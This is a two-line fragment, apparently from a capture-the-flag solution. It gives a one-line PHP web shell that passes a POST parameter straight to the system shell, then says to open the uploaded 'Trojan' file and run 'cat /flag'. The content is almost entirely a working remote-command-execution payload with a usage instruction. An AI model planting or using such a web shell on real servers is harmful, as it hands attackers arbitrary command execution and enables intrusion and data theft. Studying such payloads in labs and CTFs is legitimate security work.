<?php echo `$_POST[1]`;
Access the Trojan file and execute the command cat /flag to get the flag